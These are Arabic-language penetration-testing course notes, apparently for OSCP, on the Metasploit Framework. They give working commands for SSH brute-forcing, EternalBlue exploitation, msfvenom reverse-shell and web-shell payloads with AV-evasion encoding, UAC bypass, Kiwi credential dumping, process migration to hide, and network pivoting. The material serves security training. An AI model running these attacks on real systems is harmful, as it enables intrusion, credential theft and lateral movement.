Exploit Frameworks وُجدت لحل مشكلة حقيقية: الـ Exploits الخام متفرّقة وبتحتاج تعديل ثقيل لكل هدف، والـ Post-Exploitation يحتاج جمع أدوات كثيرة. MSF حلَّت كل ده في Console واحد.
أسَّسه H.D. Moore عام 2003 كلعبة شبكية — تطوَّر بسرعة ليصبح Framework الاختراق الأوسع انتشاراً. Rapid7 استحوذت عليه عام 2009. ثلاث إصدارات: MSF Framework (مفتوح المصدر، CLI، في Kali) — MSF Pro (تجاري، Web UI) — MSF Community (مجاني محدود). المنافسون التجاريون: Cobalt Strike، Covenant، PowerShell Empire.
MSF ممكن يشتغل بدون DB لكن يُنصَح به بشدة — بيخزَّن: Hosts, Services, Vulns, Credentials, Loot, Notes. بدونه هتفقد التكامل بين الفحص والاستغلال.
# تهيئة DB (مرة واحدة فقط)
sudo msfdb init
# تشغيل MSFconsole
sudo msfconsole
# التحقق من الاتصال بالـ DB
msf6 > db_status
# [*] Connected to msf. Connection type: postgresql
# ===== Workspaces =====
workspace # عرض كل الـ Workspaces
workspace -a client1 # إنشاء وتبديل لـ Workspace جديد
workspace client1 # التبديل لـ Workspace موجود
workspace -d client1 # حذف Workspace
| الأمر | الوظيفة |
|---|---|
help / ? | عرض كل الأوامر المتاحة في السياق الحالي |
search <term> | بحث في الموديولات بالاسم أو CVE أو Platform أو Type |
use <module> | تحميل وتحديد موديول للعمل عليه |
info | عرض التوثيق الكامل للموديول المحمَّل |
show options | عرض الـ Parameters المطلوبة والاختيارية |
set <OPT> <val> | تعيين قيمة Option للموديول الحالي |
setg <OPT> <val> | تعيين قيمة Global تنطبق على كل الموديولات |
unset <OPT> | إلغاء تعيين Option |
run / exploit | تشغيل الموديول المحمَّل |
back | الرجوع للـ Context السابق |
# فحص Nmap وحفظ النتائج في DB
db_nmap -sV -p 1-1000 192.168.50.0/24
# الاستعلام عن النتائج المخزَّنة
hosts # كل الـ Hosts
hosts -R # ملء RHOSTS تلقائياً من الـ DB
services -p 445 # خدمات على بورت 445
services -p 22 -R # تعيين RHOSTS من الخدمات على 22
creds # بيانات الاعتماد المجمَّعة
loot # الملفات والبيانات المستخرَجة
notes # الملاحظات المحفوظة
vulns # الثغرات المُحدَّدة
# تصدير البيانات
db_export -f xml /tmp/engagement.xml
Auxiliary Modules مش بتستغل ثغرات — بتدعم مراحل الـ Recon والـ Enumeration وهجمات بيانات الاعتماد. بتشتغل بدون Payload.
| الموديول | الوظيفة |
|---|---|
scanner/portscan/tcp | TCP Port Scanner أساسي |
scanner/smb/smb_version | كشف إصدار SMB ونظام التشغيل والـ Hostname — ضروري لاستهداف EternalBlue |
scanner/smb/smb_ms17_010 | فحص ثغرة MS17-010 فقط — بدون استغلال |
scanner/ssh/ssh_version | بصمة إصدار SSH والـ Algorithms المدعومة |
scanner/ssh/ssh_login | Dictionary/Brute-Force على SSH |
scanner/ftp/ftp_login | Dictionary/Brute-Force على FTP |
scanner/http/http_version | تعريف Web Server وإصداره |
# Workflow أي auxiliary module:
# search → use → info → show options → set → run
# البحث عن موديولات SMB
search type:auxiliary name:smb
# تحميل SMB Version Scanner
use auxiliary/scanner/smb/smb_version
show options
set RHOSTS 192.168.50.0/24
set THREADS 20
run
# النتائج تُحفَظ تلقائياً في DB
services -p 445 # استعراض النتائج
# ===== SSH Credential Attack =====
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.50.10
set USER_FILE /usr/share/wordlists/users.txt
set PASS_FILE /usr/share/wordlists/rockyou.txt
set STOP_ON_SUCCESS true
set THREADS 5
run
# [+] SSH - Success: 'admin:password123'
# [*] Command shell session 1 opened
creds # بيانات الاعتماد تُحفَظ تلقائياً
| الـ Rank | المعنى | التوصية |
|---|---|---|
Excellent | موثوق جداً، بدون آثار جانبية | ✓ الأفضل — استخدمه أولاً |
Great | موثوق على معظم الأهداف | ✓ جيد جداً |
Good | يعمل مع احتمال مشاكل طفيفة | 🟡 اختبر في Lab |
Normal | يحتاج شروطاً محدَّدة | 🟡 تحقَّق من المتطلبات |
Low | ممكن يكرَّس الخدمة | ⚠ تحذير — آثار جانبية |
Manual | يحتاج تدخُّل يدوي كامل | للمتقدّمين فقط |
# بحث بالـ CVE
search CVE-2017-0144
# بحث بالنوع والمنصة
search type:exploit platform:windows name:smb
# بحث بالـ Rank
search type:exploit rank:excellent
# بعد العثور على الموديول
use exploit/windows/smb/ms17_010_eternalblue
info # اقرأ التوثيق الكامل
show options # شوف المتطلبات
SMBv1 Buffer Overflow في Windows — مسرَّب من NSA (Shadow Brokers). يصيب: XP, Vista, 7, 8.1, Server 2003-2016 (غير مُرقَّع). استُخدم في WannaCry وNotPetya. النتيجة: SYSTEM shell — أعلى امتيازات Windows.
# الخطوة 1: فحص الثغرة (بدون استغلال)
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.50.10
run
# [+] 192.168.50.10 - Host is likely VULNERABLE to MS17-010!
# الخطوة 2: تحميل الـ Exploit
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.50.10
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.118.4
set LPORT 4444
run
# [*] Meterpreter session 1 opened
دايماً Background الـ Session قبل تشغيل Post Modules — تشغيل موديول على Session في الـ Foreground سيحجب الـ Console.
sessions # عرض كل الـ Sessions النشطة
sessions -i 1 # التفاعل مع Session رقم 1
sessions -k 1 # إنهاء Session رقم 1
sessions -K # إنهاء كل الـ Sessions
sessions -u 1 # Upgrade Shell لـ Meterpreter
# من داخل Session:
background # إرسال للخلفية
bg # نفس الأمر
# Ctrl+Z # نفس الأمر (Keyboard)
بيشتغل في الذاكرة فقط — لا ملف على القرص. الاتصال مُشفَّر (AES-256 للـ HTTPS). قابل للتوسيع وقت التشغيل بدون Exploits جديدة. متعدد المنصات: Windows, Linux, macOS, Android.
| الأمر | الوظيفة |
|---|---|
sysinfo | معلومات النظام — OS, Hostname, Architecture, Language |
getuid | المستخدم الحالي (قبل وبعد رفع الامتيازات) |
getpid | PID عملية Meterpreter الحالية |
ps | كل العمليات الجارية مع PID والمستخدم والمسار |
migrate <PID> | نقل Meterpreter لعملية أخرى |
getsystem | محاولة رفع الامتيازات تلقائياً لـ SYSTEM |
hashdump | تفريغ هاشات SAM (يحتاج SYSTEM) |
idletime | وقت خمول المستخدم — قبل تشغيل عمليات واضحة |
execute -f notepad.exe -H | تشغيل عملية جديدة بنافذة مخفية للـ Migration |
download <file> | تنزيل ملف من الهدف |
upload <file> | رفع ملف للهدف |
shell | فتح OS Shell تفاعلي |
# استعراض الـ Payloads المتاحة
msfvenom -l payloads | grep windows/x64
# ===== أمثلة شائعة =====
# Windows EXE — Non-Staged Shell
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.118.4 LPORT=4444 \
-f exe -o payload.exe
# Windows EXE — Staged Meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.118.4 LPORT=4444 \
-f exe -o meter.exe
# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=192.168.118.4 LPORT=4444 \
-f elf -o payload.elf
# PowerShell One-liner
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.118.4 LPORT=4444 -f ps1
# مع Encoding لتهرّب الـ AV
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.118.4 LPORT=4444 \
-e x64/xor_dynamic -i 5 \
-f exe -o encoded.exe
| Format (-f) | المنصة | حالة الاستخدام |
|---|---|---|
exe | Windows | Standard executable |
dll | Windows | DLL Injection attacks |
ps1 / psh | Windows | PowerShell delivery |
aspx / jsp / php | Web | Web shell على خوادم مخترَقة |
elf | Linux/Unix | Linux binary |
elf-so | Linux/Unix | Shared object للـ Injection |
apk | Android | Trojanized Android app |
Netcat لا يستطيع تسليم Stage 2 للـ Staged Payloads. multi/handler يعالج كل أنواع الـ Payloads. شغَّله كـ Background Job (run -j) عشان الـ Console يفضل حر لاستقبال اتصالات متعددة.
use exploit/multi/handler
# لازم يتطابق مع msfvenom output تماماً
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.118.4
set LPORT 4444
# تشغيل كـ Background Job
run -j
# [*] Started reverse TCP handler on 0.0.0.0:4444
# لما الضحية تشغَّل الـ Payload:
# [*] Meterpreter session 1 opened
sessions -i 1
# 1. مين أنا؟
getuid
# Server username: CLIENT01\dave
# 2. وقت خمول المستخدم (آمن للتشغيل؟)
idletime
# User has been idle for: 0 hours 3 mins 22 secs
# 3. رفع الامتيازات تلقائياً
getsystem
# ...got system via technique 5 (Named Pipe Impersonation)
# 4. التحقق
getuid
# Server username: NT AUTHORITY\SYSTEM ✓
# 5. Migration لعملية مستقرة
ps | grep -i explorer
migrate 4768
# Successfully migrated to process 4768
بدون Migration: لو العملية الأصلية اتقفلت → Session تختفي فوراً. اسم عملية مشبوه (payload.exe) يظهر للمدافعين. Migration لـ explorer.exe أو svchost.exe بيخفي Meterpreter في عملية شرعية.
UAC بيقيَّد حتى حسابات Administrators — بيشتغلوا بـ Medium Integrity افتراضياً. مش ممكن: تثبيت خدمات، تعديل Registry، تعطيل AV، تفريغ الهاشات.
# فحص مستوى النزاهة ومقترحات الـ Exploit
run post/multi/recon/local_exploit_suggester
# Background الـ Session الحالي
background
# تحميل UAC Bypass Module
use post/windows/escalate/bypassuac_fodhelper
set SESSION 1
run
# [*] Meterpreter session 2 opened at HIGH integrity
# التفاعل مع Session الجديدة
sessions -i 2
getuid # نفس المستخدم
getsystem # الآن يصل لـ SYSTEM!
Kiwi هو تكامل Mimikatz المدمج في Metasploit — يستخرج NTLM Hashes وكلمات مرور Plaintext وـ Kerberos Tickets. يشتغل في الذاكرة فقط — لا ملف على القرص. يحتاج SYSTEM.
# تأكَّد من SYSTEM أولاً
getsystem
# تحميل امتداد Kiwi
load kiwi
# Loading extension kiwi...Success.
# تفريغ كل بيانات الاعتماد
creds_all
# NTLM Hashes فقط من SAM
lsa_dump_sam
# Kerberos Tickets
kerberos_ticket_list
kerberos_ticket_use
# بيانات الاعتماد تُحفَظ في MSF DB تلقائياً
creds # عرض كل ما جُمع
| الموديول | الوظيفة |
|---|---|
post/multi/recon/local_exploit_suggester | اقتراح Exploits لرفع الامتيازات بناءً على إصدار OS |
post/windows/gather/hashdump | تفريغ كل هاشات SAM (يحتاج SYSTEM) |
post/windows/gather/credentials/credential_collector | جمع كل أنواع بيانات الاعتماد من Windows |
post/windows/manage/migrate | Auto-Migration لعملية أكثر استقراراً |
post/windows/escalate/bypassuac | تجاوز UAC على حسابات Administrator |
post/multi/manage/shell_to_meterpreter | ترقية Shell بسيط لـ Meterpreter |
post/windows/gather/enum_shares | تعداد SMB Shares من الهدف |
Pivoting = استخدام جهاز مخترَق كبوابة للوصول لشبكات جديدة. الجهاز الأولي غالبًا بيملك واجهتين — WAN وLAN داخلي. بدون Pivoting: المهاجم لا يرى الشبكة الداخلية. مع Pivoting: الترافيك يُوجَّه عبر الجهاز المخترَق بشكل شفاف.
# من داخل Meterpreter Session:
ipconfig
# eth1: 10.10.10.0/24 ← الشبكة الداخلية
background
# الطريقة 1 — Route يدوي
route add 10.10.10.0/24 1 # 1 = Session ID
route print
# الطريقة 2 — autoroute (الأفضل)
use post/multi/manage/autoroute
set SESSION 1
run
# [+] Route added to subnet 10.10.10.0/255.255.255.0 via session 1
# [+] All subnets auto-discovered!
# الآن MSF Modules تعمل على الشبكة الداخلية
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.0/24
set PORTS 22,80,445,3389
run
# ⚠ Nmap خارج MSF لا يعمل عبر MSF Routes!
MSF Routes تعمل فقط مع MSF Modules. SOCKS Proxy بيسمح لـ Nmap وSmbclient وBrowser وكل شيء بالـ Pivot.
# تشغيل SOCKS Proxy Server
use auxiliary/server/socks_proxy
set SRVPORT 9050
set VERSION 5
run -j
# [*] SOCKS proxy running on 127.0.0.1:9050
# تعديل /etc/proxychains4.conf
# آخر سطر: socks5 127.0.0.1 9050
# الآن أي أداة ممكن تـ Pivot عبر proxychains
proxychains nmap -sT -Pn 10.10.10.5
proxychains smbclient //10.10.10.10/share
proxychains ssh user@10.10.10.5
proxychains evil-winrm -i 10.10.10.1 -u admin -p Pass
# إعادة توجيه بورت واحد — أبسط من SOCKS للخدمة المحدَّدة
portfwd add -l 3389 -r 10.10.10.5 -p 3389
# الاتصال بـ RDP الداخلي عبر Kali:3389
xfreerdp /u:admin /p:Password1 /v:127.0.0.1:3389
# Database server
portfwd add -l 5432 -r 10.10.10.10 -p 5432
psql -h 127.0.0.1 -p 5432 -U postgres
# عرض كل الـ Forwards
portfwd list
# حذف Forward
portfwd delete -l 3389 -r 10.10.10.5 -p 3389
| الأسلوب | يعمل مع | الإعداد | الأفضل لـ |
|---|---|---|---|
| MSF Routes | MSF Modules فقط | route add أو autoroute | Scanning & Exploiting بموديولات MSF |
| SOCKS + Proxychains | كل الأدوات | socks_proxy + تعديل proxychains.conf | Multi-target scanning, أدوات متنوعة |
| Port Forwarding | كل الأدوات | portfwd add | خدمة واحدة محدَّدة (RDP, DB) |
Resource Scripts بتحتوي تسلسلاً من أوامر MSFconsole يُنفَّذ تلقائياً. تستطيع أيضاً تضمين Ruby Code للمنطق الشرطي. تُشغَّل عند البدء بـ -r flag أو من داخل MSF بـ resource.
# listener.rc — Handler آلي كامل
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.118.4
set LPORT 4444
# Auto-migrate فور فتح الـ Session
set AutoRunScript post/windows/manage/migrate
# البقاء مفتوحاً لاتصالات متعددة
set ExitOnSession false
# تشغيل كـ Background Job
exploit -j
# Listener شغّال في الخلفية!
# ===== تشغيل الـ Script =====
# عند البدء:
sudo msfconsole -r listener.rc
# من داخل MSF:
resource /path/to/listener.rc
# Built-in scripts:
ls /usr/share/metasploit-framework/scripts/resource/
| المشكلة | الحل |
|---|---|
| Meterpreter signatures معروفة للـ AV | Encoding مع -e و-i flags + Custom payloads |
| اسم عملية مشبوه (payload.exe) | Migration فوري لعملية شرعية (explorer.exe, svchost.exe) |
| كتابة ملفات على القرص | تفضيل العمليات في الذاكرة — Meterpreter In-Memory |
| ترافيك واضح | استخدام Meterpreter HTTPS بدل TCP (يبدو ويب) |
| Scanner threads عالية = صاخب | تقليل THREADS — بطيء لكن أقل كشفاً |
| العمل أثناء نشاط المستخدم | فحص idletime قبل عمليات مرئية |
# ===== SETUP =====
sudo msfdb init
sudo msfconsole
db_status
workspace -a CLIENT1 && workspace CLIENT1
# ===== SEARCH & LOAD =====
search type:exploit platform:windows name:smb
search CVE-2017-0144
search type:auxiliary rank:excellent
use
info && show options
# ===== SET & RUN =====
set RHOSTS 192.168.50.0/24
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.118.4
set LPORT 4444
set THREADS 10
setg RHOSTS 192.168.50.0/24 # Global option
run / exploit
run -j # Run as background job
# ===== DB COMMANDS =====
db_nmap -sV -p- 192.168.50.0/24
hosts && hosts -R
services -p 445 -R
creds && loot && vulns
# ===== SESSIONS =====
sessions # List
sessions -i 1 # Interact
sessions -k 1 # Kill
sessions -K # Kill ALL
sessions -u 1 # Upgrade to Meterpreter
background / bg / Ctrl+Z
# ===== SITUATIONAL AWARENESS =====
sysinfo && getuid && getpid
idletime
ps && ps | grep -i explorer
# ===== PRIVILEGE ESCALATION =====
getsystem
run post/multi/recon/local_exploit_suggester
background
use post/windows/escalate/bypassuac_fodhelper
set SESSION 1 && run
# ===== MIGRATION =====
execute -f notepad.exe -H
migrate
# ===== CREDENTIAL EXTRACTION =====
hashdump
load kiwi
creds_all
lsa_dump_sam
kerberos_ticket_list
# ===== FILE OPERATIONS =====
download /path/to/file
upload /local/file /remote/path
ls && pwd && cd
cat /etc/passwd
# ===== PIVOTING =====
ipconfig / ifconfig
background
route add 10.10.10.0/24 1
use post/multi/manage/autoroute / set SESSION 1 / run
portfwd add -l 3389 -r 10.10.10.5 -p 3389
# Windows EXE (Staged Meterpreter)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.118.4 LPORT=4444 -f exe -o meter.exe
# Windows PowerShell
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.118.4 LPORT=4444 -f ps1 > meter.ps1
# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=192.168.118.4 LPORT=4444 -f elf -o meter.elf
# Web Shells
msfvenom -p php/meterpreter/reverse_tcp \
LHOST=192.168.118.4 LPORT=4444 -f raw -o shell.php
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.118.4 LPORT=4444 -f aspx -o shell.aspx
# مع Encoding
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.118.4 LPORT=4444 \
-e x64/xor_dynamic -i 10 -f exe -o encoded.exe
# Bad characters (لاستغلال Buffer Overflow يدوي)
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.118.4 LPORT=4444 \
-b "\x00\x0a\x0d" -f c
| السيناريو | الأوامر |
|---|---|
| EternalBlue → SYSTEM | smb_ms17_010 check → ms17_010_eternalblue + Meterpreter → getsystem |
| SSH Brute → Shell → Meterpreter | ssh_login → shell session → sessions -u 1 |
| Admin Shell → Creds | getsystem → migrate → load kiwi → creds_all |
| Single Host → Network | ipconfig → autoroute → socks_proxy → proxychains |
| Automated Handler | msfconsole -r listener.rc + AutoRunScript migrate |
الموديول ده غطّى Metasploit Framework من الألف للياء — من إعداد الـ DB وتنظيم الـ Workspaces، للاستكشاف بـ Auxiliary Modules، للاستغلال بـ Exploit Modules، لتوليد الـ Payloads بـ msfvenom، لـ Post-Exploitation وكسر بيانات الاعتماد بـ Kiwi، والتنقّل داخل الشبكة بـ Pivoting.
MSF مش مجرد أداة — هو بيئة عمل كاملة. المختبر الذي يفهم كيف يربط Auxiliary بـ Exploit بـ Post بـ Pivot في Console واحد، يتحوَّل من مهاجم تكتيكي لمهاجم استراتيجي قادر على خرق شبكات كاملة بمنهجية.
ابدأ دايماً بـ workspace -a <client> → db_nmap → auxiliary للاستكشاف → exploit بالـ Rank الأعلى → فور الـ Session: migrate، getsystem، creds_all → autoroute → SOCKS → lateral. كل خطوة منظَّمة في الـ DB — لا تبدأ من جديد في كل Engagement.
نهاية نوتس الموديول الثامن عشر — OSCP: The Metasploit Framework